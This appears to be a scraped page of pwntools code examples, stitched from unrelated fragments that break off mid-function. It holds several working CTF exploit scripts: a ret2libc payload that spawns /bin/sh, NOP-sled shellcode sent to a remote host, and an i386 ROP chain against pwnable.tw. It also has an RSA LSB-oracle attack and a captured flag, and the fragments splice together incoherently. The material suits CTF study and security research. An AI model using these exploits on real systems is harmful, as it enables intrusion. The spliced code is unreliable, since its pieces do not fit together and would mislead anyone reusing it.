                recv_data = p.recvline()
                print 'rev2: ' + recv_data
                self.property['sysaddress'] = int(recv_data, 16)
                print "sysaddress = " + hex(self.property['sysaddress'])

                libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
                #get /bin/sh offset
                binsh_addr_offset = next(
                    libc.search('/bin/sh')) - libc.symbols['system']
                print "binsh_addr_offset = " + hex(binsh_addr_offset)
                #get /bin/sh address
                binsh_addr = self.property['sysaddress'] + binsh_addr_offset
                print "binsh_addr = " + hex(binsh_addr)

                #set payload
                self.property['choose'] = 2
                self.property['p'] = 0x601098
                self.property['q'] = 0x7fffffffdc78
                payload = 'a' * (self.property['offset'] - 8) + p64(
                    self.property['sysaddress']) + p32(
                        self.property['limit']) + p32(
                            self.property['choose']) + p64(
                                self.property['p']) + p64(self.property['q'])
                #send payload
                p.sendline(payload)
                #recv
                recv_data = p.recvline()
                print 'rev3: ' + recv_data

                #set payload
                self.property['choose'] = 2
                self.property['p'] = 0x60109c
                self.property['q'] = 0x7fffffffdc7c
                payload = 'a' * (self.property['offset'] - 8) + p64(
                    self.property['sysaddress']) + p32(
                        self.property['limit']) + p32(
                            self.property['choose']) + p64(
                                self.property['p']) + p64(self.property['q'])
                #send payload
                p.sendline(payload)
                #recv
                recv_data = p.recvline()
                print 'rev4: ' + recv_data

                #set payload
                self.property['limit'] = 0
                self.property['choose'] = 3
                self.property['p'] = 0x601070
                self.property['q'] = 0x601078
                payload = binsh + 'a' * (self.property['offset'] - 8) + p32(
                    self.property['limit']) + p32(
                        self.property['choose']) + p64(
                            self.property['p']) + p64(self.property['q'])
                #send payload
                p.sendline(payload)

                print 'interactive'
                p.interactive()

            else:
                print 'static'
        elif self.options['architecture'] == 'i386':

            if self.options['static'] == 'False':
                print 'dl'

            else:
                print 'static'

        else:
            print 'Unrecognized architecture, stop.'
            return
        degree_split = coord_split[0]
        degree = degree_split.split("deg",2)
        minute_split = coord_split[1]
        minute = minute_split.split("'",2)
        second_split = coord_split[2]
        second = second_split.split("\"",2)
        sign = -1 if int(degree[0]) < 0 else 1
        decimal = sign * (abs(int(degree[0])) + float(minute[0])/60 + float(second[0])/3600)
        return decimal

#Establish Connection to challenge
if __name__ == "__main__":
    Ticket = os.getenv("TICKET", "")
    Host = os.getenv("HOST","172.17.0.1")
    Port = int(os.getenv("PORT","3133"))
    sock = remote(Host, Port)

    if len(Ticket) >0:
        sock.recv(128)
        sock.send(Ticket + "\n")

    ##### Load TLE---------------------------------
    text = """
REDACT
1 13337U 98067A   20087.38052801 -.00000452  00000-0  00000+0 0  9995
2 13337  51.6460  33.2488 0005270  61.9928  83.3154 15.48919755219337
    """
    lines = text.strip().splitlines()

    satellite = EarthSatellite(lines[1], lines[2], lines[0])
Example #40
0
    def track_reads(self, state):
        b = self.b
        sol = self.sol
        # print '='*78
        #print 'Read', state.inspect.mem_read_expr, 'from', state.inspect.mem_read_address,\
        #'Size', state.inspect.mem_read_length
        if type(state.inspect.mem_read_address) == int:
            print(state.inspect.mem_read_address, 'is long type')
        else:
            try:
                if self.debug_irsb:
                    # irsb = b.factory.block(state.addr).vex
                    # irsb.pp()
                    pass
                # cap = b.factory.block(state.addr).capstone
                # cap.pp()
                # self.dump_reg(state)
                # print 'uninit: ', state.inspect.mem_read_address.uninitialized,\
                # 'symbolic:', state.inspect.mem_read_address.symbolic
                if state.inspect.mem_read_address.symbolic:
                    if state.inspect.mem_read_expr is None and self.reproduce_mode:
                        print('adding constraint to',
                              state.inspect.mem_read_address)
                        print(hex(state.addr))
                        state.add_constraints(state.inspect.mem_read_address >
                                              self.controlled_memory_base - 1)
                        state.add_constraints(
                            state.inspect.mem_read_address <
                            self.controlled_memory_base + 0x1000)
                    #print 'read from symbolic address, primitive found!'
                    #embed()
                    if self.pause_on_read_from_symbolic_address:
                        input('wtf read from symbolic address')
                # print 'checking whether memory is uninitialized...'
                t = state.memory.load(state.inspect.mem_read_address,
                                      size=1,
                                      inspect=False)
                if t.uninitialized and not state.inspect.mem_read_address.symbolic:
                    print('memory content uninit: ', t.uninitialized, \
                        'memory content symbolic: ', t.symbolic)
                    print('[+] uninitialized memory read found:',
                          state.inspect.mem_read_address)
                    print('[+] the uninitialized memory read is at:',
                          hex(state.addr))

                    # eliminate SMAP violation read
                    if self.sol.eval(
                            state.inspect.mem_read_address.get_bytes(0, 8),
                            1)[0] < 0xffff880000000000:
                        print('SMAP vialation, not going to resolving')
                        state.regs.ip = 0
                        return

                    if self.resolve_uninit:
                        r = None
                        try:
                            print('waiting for the lock...')
                            if self.lock is not None:
                                self.lock.acquire()
                            r = remote('127.0.0.1', self.qemu_port)
                        except PwnlibException as e:
                            print(e)
                            print('we are in trouble...')
                            print('wtf, why my vm is dead...')
                            if self.lock is not None:
                                self.lock.release()
                            sleep(60)
                            return
                        try:
                            addr = self.sol.eval(
                                state.inspect.mem_read_address.get_bytes(0, 8),
                                1)[0]
                            if (self.controlled_memory_base -
                                    self.controlled_memory_size) <= addr < (
                                        self.controlled_memory_base +
                                        2 * self.controlled_memory_size):
                                r.close()
                                if self.lock is not None:
                                    self.lock.release()
                                pass
                            else:
                                print(
                                    '[+] resolving a page containing the address:',
                                    hex(addr))
                                con = self.statebroker.get_a_page(r, addr)
                                r.close()
                                if self.lock is not None:
                                    self.lock.release()
                                if con is not None:  # success memory resolving
                                    self.set_concret_memory_region(
                                        state, addr, con, 4096)
                                    print(
                                        '[+] resolved the uninit with concrete page'
                                    )
                                else:
                                    print(
                                        '[!] failed to resolve the uninit memory'
                                    )

                                    if self.pause_on_failed_memory_resolving:
                                        for addr in state.history_iterator:
                                            print(addr)
                                        # import IPython; IPython.embed()
                                    state.regs.ip = 0
                                    return
                            if self.pause_on_finish_memory_loading:
                                input('do the read now(continue) <-')
                        except PwnlibException as e:  # catch options
                            print(e)
                            traceback.print_exc()
                            if r is not None:
                                r.close()
                                if self.lock is not None:
                                    self.lock.release()
                            print(
                                'failed in resolving, we do not handle here~')
                            pass
                else:
                    # print 'Memory content does not appear uninitialized'
                    pass

            except (AttributeError, angr.errors.SimMemoryAddressError) as e:
                print(e)
                print('wtf track reads')
                self.unsatisfiable_state.append(state.copy())
    return payload

def createModeMessage(mode, count=1):
    auth = 0xAABBCCDD
    payload = pack("<IIB", auth, count, mode)
    payload = pack("<I", Crc32Mpeg2.calc(payload)) + payload
    return payload

if __name__ == "__main__":

    Host = os.getenv("HOST", "localhost")
    Port = int(os.getenv("PORT", 31360))

    File = os.getenv("DIR", "/mnt") + os.sep + "capture.pcap"

    sockChal = remote(Host, Port)
    print("Connect to ", Host, Port)
    sys.stdout.flush()
    
    ticket = os.getenv("TICKET", "")
    if len(ticket):
        sockChal.recvline()
        sockChal.send(ticket + "\n")

    File = os.getenv("DIR", "/mnt") + os.sep + "capture.pcap"
    packets = rdpcap(File)
    

    sockChal.recvuntil(b'tcp:', drop=True)
    line = sockChal.recvline().strip()
    TlmHost,TlmPort = line.split(b":")
Example #42
0
from pwnlib.tubes.remote import remote
from pwnlib.asm import asm
from pwnlib.shellcraft.i386.linux import sh
from time import sleep

r = remote('10.second.ninja', 9090)
r.send('\x90'*22 + asm(sh()))
sleep(1)
r.interactive()
Example #43
0
def proxy(port=9999):
    """Starts an ADB proxy on the specified port, for debugging purposes."""
    l = listen(port)
    l.wait_for_connection()
    r = remote(context.adb_host, context.adb_port, level='debug')
    l <> r
Example #44
0
from pwnlib.tubes.remote import remote
import re

# flag =  247CTF{6ae15c0aeb45a334b3f01eb0dda5cab1}

address = "ea2cef7b6883d028.247ctf.com"
port = 50281

pattern = r"What is the answer to (\d+) \+ (\d+)\?"

r = remote(address, port)

for _ in range(500):
    s = r.recv().decode("utf-8")
    print(f"<<< {s}")
    
    search = re.search(pattern, s)
    
    a, b = search.group(1), search.group(2)
    result = int(a) + int(b)

    print(f">>> {a} + {b} = {result}")
    response = bytes("{}\r\n".format(result), 'utf-8')
    r.send(response)

print(r.recv().decode("utf-8"))
# bit = server.recv(1024)
# print(bit)
# server.close()

# init the bounds
upper_bound = n
lower_bound = 0
print_bounds(lower_bound, upper_bound)

# loop
m = ciphertext
for i in range(n.bit_length()):
    m = (pow(2, e, n) * m) % n

    # interact with the server
    server = remote(HOST, PORT)
    server.send(to_bytes(m))
    bit = server.recv(1024)
    server.close()
    print(bit)

    # update bounds based on the leaked LSB
    if bit[0] == 1:
        lower_bound = (upper_bound + lower_bound) // 2
    else:
        upper_bound = (upper_bound + lower_bound) // 2
    print_bounds(lower_bound, upper_bound)

#print decoded message
print(to_bytes(lower_bound, n.bit_length()).decode())
free_buf = 0x080EAF80

# ROP gadgets
pop_edx_ecx_ebx = 0x0806f060
pop_eax = 0x080bb436
int_0x80 = 0x08049671

# Option 1: Put a item to the box
def put(item):
    print r.recvuntil(':')
    r.send('1\n')
    print r.recvuntil(':')
    r.send(item)


r = remote('pwning.pwnable.tw', 56746)

# Padding
for i in range(10):
    put('A'*15 + '\n')

# ROP chain
put('A'*12 + p32(read_addr))
put(p32(pop_edx_ecx_ebx) + p32(0) + p32(free_buf) + p32(8))
put(p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(free_buf))
put(p32(pop_eax) + p32(0xb) + p32(int_0x80) + p32(0))

# Option 4: give up the box
print r.recvuntil(':')
r.send('4\n')
print r.recvline()